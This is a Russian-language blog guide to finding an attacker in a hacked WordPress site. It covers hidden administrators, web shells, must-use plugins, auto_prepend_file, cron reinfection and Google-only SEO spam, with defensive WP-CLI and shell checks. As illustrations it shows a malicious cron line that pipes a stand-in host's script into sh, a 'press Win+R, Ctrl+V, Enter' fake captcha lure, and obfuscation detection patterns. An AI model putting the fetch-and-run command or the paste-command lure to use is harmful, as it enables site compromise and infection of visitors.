Взломали WordPress? 5 мест, где прячется взломщик
Скрытые админы, веб-шеллы в uploads, невидимые must-use плагины, код, который запускается раньше WordPress, и спам, который видит только Google. Где искать и какие команды запускать.

Странный редирект на onion-сайт? Письмо от хостера? Или сайт просит доказать, что вы не робот, и для этого вставить в терминал какую-то странную команду? А может, сайт выглядит совершенно нормально, просто вы ему больше не доверяете. Вопрос в любом случае один: живёт ли в этом WordPress кто-то кроме вас?
Не доверяйте админке. Вредонос, который сидит на сайте давно, прячется от экранов админки специально: туда вы посмотрите первым делом, и вредонос это знает. Проверки ниже идут в обход WordPress: прямо в базу, в файлы и в настройки сервера.
Подтвердите, что вы человек
Чтобы продолжить, выполните три шага:
- 1Нажмите Win + R
- 2Нажмите Ctrl + V
- 3Нажмите Enter
Пять мест, в том порядке, в каком смотрел бы я:
- Админы, которых никто не знает
- PHP-файлы там, где им делать нечего
- Плагины и автозагрузка
- Кроны и хуки
- Спам, который видит только Google
Понадобятся SSH и WP-CLI. Запускайте все команды из корня сайта, из папки, где лежит wp-config.php. Вместо example.com подставьте свой домен. Всё это можно сделать и через phpMyAdmin с файловым менеджером, просто медленнее и с большим количеством кликов.
Почти все команды ниже только читают. Две, которые что-то меняют, об этом предупреждают.
Сначала бэкап, потом чистка
1. Скрытые администраторы
Классика: создать администратора, а потом спрятать его от остальных администраторов. Несколько строк на хуке pre_user_query убирают этого пользователя из меню, а второй фильтр поправляет счётчик админов, чтобы цифры сходились. Админка показывает двух админов. В базе их три.
Значит, спрашиваем базу. wp db query отдаёт SQL прямо в MySQL, и ни один хук WordPress не получает права голоса. Эта команда показывает 20 самых новых аккаунтов. Первая строка сохраняет префикс таблиц (обычно wp_), вторая подставляет его в запрос:
P=$(wp db prefix)wp db query "SELECT ID, user_login, user_email, user_registered FROM ${P}users ORDER BY ID DESC LIMIT 20"В запросах ниже стоит wp_. Если wp db prefix печатает другой префикс, подставьте его.
Что показывает админка
Пользователи
Все (2) | Администратор (2)
- alexАдминистратор
- mariaАдминистратор
Что лежит в базе
Обратите особое внимание на дату и время регистрации: сравните их с рабочими часами и с экраном пользователей. Тревожные признаки:
- Регистрация в нерабочее время, в выходные или праздники. Запишите дату, прежде чем удалять аккаунт: часто это лучшая подсказка, когда всё началось.
- Логин, которого нет на экране пользователей.
- Логин, который вы не узнаёте, особенно безликий вроде
wpadmin,support,sysadminили набор случайных букв. - Почта на одноразовом домене.
Проверьте и пароли приложений. С ними скрипт входит через REST API без обычного пароля пользователя и без 2FA, так что украденный пароль приложения переживает смену основного:
wp db query "SELECT user_id FROM wp_usermeta WHERE meta_key = '_application_passwords'"Пустой ответ — это нормально. За каждым ID из этого списка должна стоять интеграция, которую вы можете назвать.
Почему не wp user list --role=administrator? Эта команда работает через WordPress, а --skip-plugins всё равно загружает must-use плагины. Именно там прячущий код и любит жить (см. проверку 3).

2. Веб-шеллы и PHP там, где его быть не должно
Веб-шелл — это PHP-файл, который даёт тому, кто его нашёл, панель управления прямо в браузере: ходить по файлам, запускать команды, править базу. Обычно он маленький, часто обфусцирован и назван так, чтобы не выделяться: wp-cache.php, class-wp-xyz.php, index.php в папке, где он никогда не был нужен.
Начните с папки загрузок. В ней должны лежать картинки, PDF и изредка шрифт. PHP там лежать не должен:
find wp-content/uploads -iname '*.ph*'Она находит все файлы .php, .phtml и .phar. Хороший результат: пусто. Пустой index.php с // Silence is golden — тоже нормально, некоторые плагины кладут такие, чтобы закрыть листинг папки. Всё, что длиннее, стоит открыть.
- bakery-front.jpg
- menu.pdf
- croissant.webp
- wp-cache.php
- logo.png
- team.jpg
Дальше пусть WordPress сверит свои файлы с официальными контрольными суммами релиза. Сначала ядро:
wp core verify-checksumsХороший результат: Success: WordPress installation verifies against checksums. Плохой: File doesn't verify against checksum (файл ядра изменён) или File should not exist (кто-то добавил лишний).
Потом плагины с wordpress.org:
wp plugin verify-checksums --allПлохо, если в ответе есть плагин с изменённым или лишним файлом. Премиум-плагинов в этой базе нет, их команда пропустит, поэтому скачайте чистую копию у разработчика и сравните через diff.
Теперь посмотрите, что менялось недавно:
find . -name '*.php' -ctime -14Команда покажет PHP-файлы, изменённые за последние 14 дней. Плохо, если там файлы, которых вы не трогали, особенно вне плагина, который вы только что обновили.
Используйте -ctime, а не -mtime. Взломщики любят сделать своим файлам touch на 2019 год, и недельный шелл выглядит так, будто пришёл вместе с темой. touch подделывает время изменения содержимого, а время изменения inode без root подделать не может.
И наконец, поищите обычную обфускацию:
grep -rlE 'eval\s*\((base64_decode|gzinflate|str_rot13|\$_)' --include='*.php' .Она печатает PHP-файлы, которые делают eval декодированного текста или данных прямо из запроса. Хороший результат: пусто.
Считайте результат списком подозреваемых. Куча честных плагинов вызывает base64_decode. Почти никто из них не делает ему eval, и ни один не делает eval тому, что пришло в POST-запросе.
3. Плагины, которых не видно на экране плагинов
Два вида кода загружаются, ни разу не будучи “активированными”:
- Must-use плагины. Каждый PHP-файл прямо в
wp-content/mu-plugins/выполняется на каждом запросе. Отключить их из админки нельзя. - Drop-in’ы. Файлы с определёнными именами в
wp-content/, которые WordPress загружает по имени:advanced-cache.php,object-cache.php,db.php,maintenance.php,db-error.php,php-error.php,fatal-error-handler.phpиsunrise.phpв мультисайте.
На экране плагинов есть вкладки Обязательные и Дополнительные как раз для них. Одна строчка вредоноса (add_filter('show_advanced_plugins', '__return_false')) убирает обе вкладки. А обычный плагин может вычеркнуть себя из основного списка фильтром all_plugins и при этом спокойно загружаться дальше.
Экран плагинов
Плагины
Все (5)Активные (5)Обязательные (2)Дополнительные (1)
add_filter('show_advanced_plugins', '__return_false')Папка
Поэтому смотрите на папки, а не на экран. Сначала must-use плагины:
ls wp-content/mu-plugins/“No such file or directory” — это нормально: must-use плагинов нет. Каждый файл, который там есть, должен быть делом рук вашего хостера или известного плагина (управляемые хостинги любят добавлять свои).
Потом drop-in’ы, они лежат прямо в wp-content:
ls wp-content/*.phpindex.php — это нормально. Каждое имя из списка drop-in’ов выше должно принадлежать плагину кэширования или хостеру.
Потом плагины, которые WordPress на самом деле загружает, прямо из базы:
wp db query "SELECT option_value FROM wp_options WHERE option_name = 'active_plugins'"В ответе сериализованный PHP-массив, страшненький, но читаемый: a:2:{i:0;s:19:"akismet/akismet.php";...}. Каждая запись должна быть плагином, который вы узнаёте. Теперь сравните с тем, что лежит на диске:
ls wp-content/plugins/Каждая папка там должна быть плагином, который вы ставили сознательно.
4. Код, который запускается раньше WordPress или по расписанию
Здесь живёт повторное заражение. Вы удаляете шелл, идёте спать, а утром он лежит в той же папке. Значит, что-то его вернуло.
Каждый запрос
- Посетитель открывает страницу
.user.iniauto_prepend_file=/tmp/.sess.phpвыполняется первымindex.php- WordPress и плагины
Почему он возвращается
- Вы удаляете shell.php
- Cron на сервере, 03:00
curl -s bad.example/s | sh - shell.php снова на месте
auto_prepend_file. PHP можно попросить выполнять файл перед каждым скриптом на сайте. Проверьте все места, где эта настройка может прятаться:
grep -r auto_prepend_file --include='*.ini' --include='.htaccess' .Хороший результат: пусто. Wordfence ставит её намеренно, для своего файрвола (wordfence-waf.php). Всё остальное, что указывает на незнакомый файл, — проблема.
wp-config.php. Откройте и прочитайте сверху донизу. Там должны быть настройки: доступы к базе, ключи и соли, несколько строк define(). Ищите include или require со странным путём, простыню закодированного текста или код перед первым блоком комментариев.
Каждый .htaccess, а не только корневой. Любимый трюк — редирект, который срабатывает только для посетителей из Google. Владелец набирает адрес вручную и ничего не видит:
grep -rlE 'HTTP_REFERER|HTTP_USER_AGENT' --include='.htaccess' .Она печатает каждый .htaccess, который обращается с посетителями по-разному в зависимости от того, откуда они пришли или каким браузером пользуются.
Плагины безопасности и кэширования тоже пишут такие условия, так что читайте правила, а не просто считайте совпадения.
Задачи по расписанию. Оба вида. Сначала свои, вордпрессовские:
wp cron event listПлохо, если там хук со случайным на вид именем вроде wp_x9f3k_check, который не объясняет ни один ваш плагин.
Потом серверные, для пользователя, от которого работает сайт:
crontab -l“No crontab” — это нормально. Плохо, если там строка, которая запускает curl ... | sh или wget с незнакомого домена. Это машина повторного заражения.

5. Спам, который видит только Google
SEO-спам сделан так, чтобы владелец ничего не заметил. Вы видите свои обычные страницы. Googlebot видит тот же сайт, к которому прикрутили тысячи страниц про аптеки и казино. Посетители встречают его, только когда кликают по результату поиска.
Вы, набрав адрес
Sunrise Bakery
Googlebot
Sunrise Bakery
- cheap pills online
- casino bonus no deposit
- replica watches 80% off
Посетитель из выдачи Google
302 → pills-shop.exampleредиректПроверьте, что видит внешний мир:
- Поищите в Google
site:example.comи пролистайте выдачу. Страницы на языке, на котором вы не пишете, или адреса вида/?p=cheap-...— плохой знак. - Откройте раздел Проблемы безопасности и меры, принятые вручную в Google Search Console. Google часто сообщает о взломе раньше, чем клиент.
- Запросите страницу у своего же сервера, притворившись Googlebot. Команда покажет только строки, которые отличаются между тем, что получаете вы, и тем, что получает Googlebot:
diff <(curl -sL https://example.com/) <(curl -sL -A Googlebot https://example.com/)Потом то же самое для посетителя, который пришёл из выдачи Google:
diff <(curl -sL https://example.com/) <(curl -sL -e https://www.google.com/ https://example.com/)Пара отличающихся строк — это нормально: nonce и время меняются при каждой загрузке. Плохо, если ссылки, скрипты или вообще другая страница достаются только одной стороне. (Вредонос похитрее проверяет настоящие IP-адреса Google, так что чистый результат — хороший знак, а не доказательство.)
Потом поищите внедрённые скрипты в базе:
wp db search '<script' wp_posts wp_optionsОна показывает каждый тег <script, сохранённый в записях и настройках.
Часть находок будет законной: аналитика, виджеты чатов, HTML, который сохранил конструктор страниц. Ищите скрипты с доменов, о которых вы никогда не слышали, или String.fromCharCode и atob(, которые изо всех сил прячут адрес.
Раз уж вы в wp_options, проверьте два адреса, по которым WordPress считает, что живёт:
wp db query "SELECT option_name, option_value FROM wp_options WHERE option_name IN ('siteurl', 'home')"Оба адреса должны быть вашим доменом. Причина та же, что и раньше: чистый SQL, и must-use плагин не может подменить ответ.
Три двери, в которые стучат боты, со взломом или без
Это не признаки взлома. Так чистый сайт собирает мусор, отдаёт ботам половину того, что нужно для входа, или оставляет пароль от базы на виду. Раз уж вы здесь, проверьте и их.
Спам в комментариях, который не трогает вашу форму
Боты не заполняют форму комментария. Они пропускают страницу и шлют POST прямо туда, куда отправляет форма, так что капча или ловушка, которая живёт только в JavaScript формы, просто не запускается.
Таких адресов два. Классический wp-comments-post.php принимает комментарии от всех, если комментарии открыты. REST-адрес /wp-json/wp/v2/comments по умолчанию анонимные комментарии отклоняет. Убедитесь, что у вас он делает это до сих пор. Это одна из двух команд, которые могут что-то изменить: если адрес открыт, она отправит настоящий тестовый комментарий.
curl -s -d 'post=1&author_name=test&author_email=test@example.com&content=test' https://example.com/wp-json/wp/v2/commentsПравильный ответ — 401 с "code":"rest_comment_login_required". Если вместо этого появился комментарий (сразу удалите его), значит, что-то включило фильтр rest_allow_anonymous_comments. Выясните, что именно, и выключите, если не знаете, зачем он там.
Потом посмотрите, сколько уже набежало:
wp comment countОна печатает, сколько комментариев одобрено, ждёт проверки и лежит в спаме. Тысячи в ожидании значат, что боты вас нашли.
Дальше выведите одобренные комментарии со ссылками:
wp comment list --status=approve --search=http --fields=comment_ID,comment_author,comment_author_urlСпам-ссылки, которые кто-то одобрил, — это тоже SEO-спам, просто ленивый.
Что делать:
- Комментарии не нужны? Закройте их в Настройки → Обсуждение для новых записей, закройте и на старых (эта команда меняет данные:
wp db query "UPDATE wp_posts SET comment_status = 'closed'") и заблокируйте адрес на сервере так же, как чеклист блокируетxmlrpc.php. - Комментарии нужны? Поставьте перед ними серверный фильтр, например Akismet или Antispam Bee. Они проверяют сам запрос, поэтому ловят ботов, которые страницу даже не открывали.
Логины админов, которые раздают бесплатно
WordPress выдаёт ваши логины минимум в пяти местах, и боты, которые подбирают пароли, читают их все, прежде чем начать. Попробуйте на своём сайте:
# REST API: look for "slug" - one per user who has published a postcurl -s https://example.com/wp-json/wp/v2/users
# Author archives: the "location:" line ends in /author/<username>/curl -sI 'https://example.com/?author=1'
# RSS feed: the author's display name on every postcurl -s https://example.com/feed/ | grep creator
# oEmbed: "author_name" and "author_url" for any pagecurl -s 'https://example.com/wp-json/oembed/1.0/embed?url=https://example.com/'
# Core sitemap (WordPress 5.5+): one author archive URL per usercurl -s https://example.com/wp-sitemap-users-1.xmlВсе эти команды только читают. Адреса можно открыть и просто в браузере.
slug и часть адреса после /author/ — это user_nicename пользователя. WordPress делает его из логина, так что на большинстве сайтов это и есть логин. Если в RSS отображаемое имя тоже совпадает с логином, все пять дорог ведут к одному ответу.
Логин — не секрет, и его сокрытие не заменяет сильный пароль и 2FA. Но оно отнимает у каждой попытки подбора половину, а стоит пять минут:
- Дайте каждому админу ник и отображаемое имя, которые не совпадают с логином (Пользователи → Профиль → Отображать как).
- Поменяйте nicename, которого нет на экране профиля:
wp user update 1 --user_nicename=alex-k. - Закройте
/wp/v2/usersот незалогиненных посетителей плагином безопасности, как в разделе чеклиста про REST API. - Уберите карту сайта пользователей, если страницы авторов в поиске вам не нужны:
add_filter( 'wp_sitemaps_add_provider', function ( $provider, $name ) { return 'users' === $name ? false : $provider;}, 10, 2 );Проверка безопасности WordPress пробует первые два способа снаружи и показывает логины, которые удалось получить.
Файлы, которые вы не собирались публиковать
Веб-сервер отдаёт файлы .php в PHP, а всё остальное отдаёт как обычную загрузку. wp-config.php в безопасности, потому что он выполняется, а не показывается. Сделайте копию wp-config.php.bak, и это уже текстовый файл с паролем от базы, на расстоянии одного запроса.

Такие копии появляются без чьего-либо решения:
- Их оставляют редакторы: nano пишет
wp-config.php.save, когда падает, vim держит.wp-config.php.swp, пока файл открыт, emacs сохраняетwp-config.php~. - Быстрое “сейчас сделаю бэкап” оставляет в корне сайта
wp-config.php.bak,wp-config.oldилиbackup.sql. define('WP_DEBUG_LOG', true)пишет каждую ошибку PHP вwp-content/debug.log, с путями на сервере, названиями плагинов, а иногда и с данными, которые ошибку вызвали.- Деплой через
git pullоставляет папку.git. Если сервер её отдаёт, кто угодно скачает ваш код и всю его историю, включая любой пароль, который когда-либо попал в коммит.
Боты спрашивают эти имена на каждом сайте, который сканируют. Спросите первым:
for f in wp-config.php.bak wp-config.php.save wp-config.php~ .wp-config.php.swp wp-config.old backup.sql wp-content/debug.log .git/HEAD .env; do echo "$(curl -so /dev/null -w '%{http_code}' https://example.com/$f) $f"; doneОна печатает код ответа рядом с каждым именем. Всё, что не 403 и не 404, надо посмотреть. Некоторые темы отвечают на несуществующие страницы кодом 200, поэтому сначала откройте адрес, потом паникуйте: .git/HEAD начинается с ref: refs/heads/, а копия конфига — с <?php.
Этот список покрывает только типичные имена. Остальное ищите на сервере:
find . -maxdepth 3 | grep -E '\.(sql|gz|zip|bak|old|save|swp|log)$|~$'Хороший результат: пусто. Плохо, если там дамп базы, архив сайта или лог, до которого может дотянуться браузер.
И остаток деплоя:
ls -d .gitВам нужно “No such file or directory”.
Что делать:
- Вынесите бэкапы и дампы из корня сайта или удалите их.
- Лог отладки оставьте, но вне сайта:
define('WP_DEBUG_LOG', '/home/user/logs/wp-debug.log');работает с WordPress 5.1. На продакшене, когда вы ничего не отлаживаете, выключайте его. - Закройте на сервере файлы с точкой в начале имени и расширения бэкапов, как страховку на будущее. Для Apache, в корневом
.htaccess:
RedirectMatch 404 /\.(?!well-known)<FilesMatch "\.(bak|old|orig|save|swp|sql|log)$|~$"> Require all denied</FilesMatch>Первая строка прячет .git, .env и все остальные файлы с точкой, но не трогает .well-known: через неё Let’s Encrypt продлевает сертификат. На nginx то же самое делает location ~ /\.(?!well-known) { deny all; }.
Если копия wp-config была публичной, закройте её и считайте, что она у кого-то уже есть. Смените пароль от базы и обновите соли.
Что-то нашли?
Почти никогда это не что-то одно. Скрытый админ обычно приходит вместе с шеллом, а шелл — вместе с cron-задачей, которая вернёт его на место. Удалить найденный файл и на этом успокоиться — верный способ получить повторное заражение к четвергу.
Уборка, коротко:
- Смените все пароли: пользователей WordPress, базы, хостинговой панели, FTP/SFTP и SSH.
- Обновите соли, чтобы все украденные cookie входа умерли разом:
wp config shuffle-salts. - Отзовите пароли приложений, которые не можете объяснить.
- Найдите, как вошли. Посмотрите логи доступа веб-сервера около даты
user_registeredчужого админа и времени изменения файлов шелла. Обычно это устаревший плагин. - Если сомневаетесь, восстановитесь из бэкапа старше самой ранней улики, а потом обновите всё, прежде чем возвращать сайт в сеть.
А когда сайт чистый, проверка безопасности WordPress покажет, что видит бот снаружи, а чеклист безопасности закроет скучные дыры, чтобы следующий взлом не случился.
Комментарии
Комментарии живут в GitHub Discussions (через giscus), так что для участия нужен аккаунт GitHub.